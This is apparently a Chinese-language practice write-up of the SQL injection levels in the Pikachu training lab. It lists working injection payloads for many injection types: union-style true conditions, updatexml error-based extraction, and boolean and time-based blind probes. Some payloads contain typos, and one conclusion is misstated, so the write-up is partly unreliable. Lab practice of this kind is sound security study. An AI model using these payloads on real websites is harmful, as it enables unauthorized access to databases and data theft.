0x00 前言
手工注入忘的差不多了。。。還是需要多多練習
以下關卡都是稍微測以下存不存在sql注入,查下數據庫名啥的
沒有將所有字段都爆出來。
沖鴨~
0x01 數字型注入(post)
因為是數字型,直接在后面加上真命題,不需要加單引號測試
0x02 字符型注入(get)
加單引號報錯,說明存在sql注入
再加上真命題查詢到all
0x03 搜索型注入
加單引號,sql語句報錯
Payload:
li’ or 1=1 --+
加上真命題回顯all
Payload:
li' and length(database())=7 --+
測得數據庫長度為7時正常回顯
說明數據庫長度為7
測數據庫名
and ascii(substr(database(),x,1))=n
X:庫名第幾位(1-7)
N:該位對應的ascii碼值
對n進行爆破(65-122)
最后得到數據庫名:pikachu
0x04 xx型注入
加單引號
0x05 insert/update注入
1.insert注入
測試模塊:注冊處
令用戶名為quan’
Payload:
quan' or updatexml(1,concat(0x7e,database()),0) or'
2.Update注入
先登錄進去,然后在修改資料處填寫信息抓包
Payload:
quan' or updatexml(1,concat(0x7e,database()),0) or'
0x06 delete注入
先留言,點擊刪除時抓包
Payload:
62 or updatexml (1,concat(0x7e,datebase()),0)
在bp中Ctrl+U 對payload進行url編碼
0x07 http header注入
1.UA頭
Payload:
1' or updatexml (1,concat(0x7e,datebase()),0) or '
2.COOKIE
cookie中的admin也是一個注入點
0x08 盲注(base on boolian)
只有加and 1=1#
才能返回個人信息,or 1=1#
都報錯:您輸入的username不存在,請重新輸入!
利用and 1=1構造payload
Payload:
kobe' and ascii(substr(database(),1,1))=112#
0x09 盲注(base on time)
payload:
kobe’ and sleep(5)#
可以看到時間線是5s,說明存在基於時間的盲注
Payload:
kobe' and if ((substr(database(),1,1))='a',sleep=(5),null)#
此時1ms就返回結果,說明數據庫名第一位不是a
將a改為p,則一直不返回結果
說明數據庫名第一位不是a
0x10 寬字節注入
emmmm還沒寫出來,下次吧
先下班了,肥宅大哭?